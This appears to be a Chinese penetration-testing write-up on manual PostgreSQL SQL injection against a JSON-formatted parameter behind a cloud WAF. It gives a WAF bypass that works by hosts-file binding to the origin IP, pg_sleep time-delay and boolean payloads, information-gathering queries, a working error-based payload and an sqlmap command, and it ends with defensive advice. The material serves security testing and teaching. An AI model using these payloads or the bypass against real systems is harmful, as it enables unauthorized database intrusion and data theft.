PostgreSQL注入:不在SQLMap一把梭
字数 1058 2025-08-15 21:31:54
PostgreSQL注入绕过WAF与手工利用技术
问题背景
在渗透测试项目中遇到一个PostgreSQL数据库注入点,常规的sqlmap自动化工具无法直接利用(即使使用--level 3参数)。主要面临两个挑战:
- 存在阿里云WAF防护
- 数据传输采用JSON格式
环境分析
网络防御分析
- 传输恶意代码会触发阿里云WAF报警
- 黑盒测试环境,无法确认具体防御设备
数据包特点
- 采用JSON格式传输数据
- 注入点位于
year参数(如"2020") - 系统自动携带单引号进行格式处理
解决思路
- 绕过云WAF:首先解决防护问题
- 调整JSON格式:确保恶意数据能正常发送
- 分析返回内容:确定注入利用方式
- 自动化利用:最后尝试使用sqlmap
详细实现步骤
1. 绕过云WAF技术
方法:通过修改hosts文件绑定目标真实IP
- 原理:部分云WAF基于域名进行防护,直接访问IP可能绕过
- 注意:此方法成功率有限,仅为个案解决方案
参考技术原理:云WAF绕过技术
2. JSON格式调整
注入点位于year参数,需注意:
- 系统自动携带单引号
- 需要确保payload正确闭合
- 常见闭合方式:
'--'或';'
3. PostgreSQL手工注入技术
基础测试payload
parameter = 2-1
parameter = 1 and 1 = 2
parameter = 1 or 1 = 2-1
parameter = 1' and '1'='1
parameter = 1' and '1'='2
PostgreSQL特有payload
时间延迟测试:
parameter=1;select pg_sleep(5)
parameter=1';select pg_sleep(5)
parameter=1');select pg_sleep(5)
parameter=1);select pg_sleep(5)
parameter=1));select pg_sleep(5)
parameter=select pg_sleep(5)
信息收集:
-- 查看版本
SELECT version()
-- 查看用户信息
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user; -- 注意是usename不是username
SELECT getpgusername();
-- 查看当前数据库
SELECT current_database()
报错注入利用
成功利用的payload示例:
2020')as jiuo Where 1=1 and 1=(select version())--
关键点:
- 需要根据返回的错误信息调整payload
- 确认是报错注入后,可针对性构造查询
4. sqlmap自动化利用
成功手工确认注入点后,可配置sqlmap进行自动化测试:
sqlmap.py -r b.txt --dbms PostgreSQL --suffix -- -v 3 --level 3 --tech E
参数说明:
-r b.txt:包含请求的数据包文件--dbms PostgreSQL:指定数据库类型--suffix --:指定后缀闭合方式-v 3:详细输出--level 3:测试等级--tech E:指定使用报错技术
关键经验总结
- WAF绕过是前提:没有绕过防护,所有注入尝试都是徒劳
- PostgreSQL语法特殊性:
- 版本查询不是
@@version而是version() - 用户字段是
usename而非username
- 版本查询不是
- 报错注入需要精确闭合:根据错误信息调整payload结构
- 自动化工具需要精确配置:sqlmap需要正确指定数据库类型和闭合方式
防御建议
- 对JSON输入进行严格验证和过滤
- 使用预编译语句(Prepared Statements)
- 最小化数据库错误信息暴露
- 实施多层WAF防护策略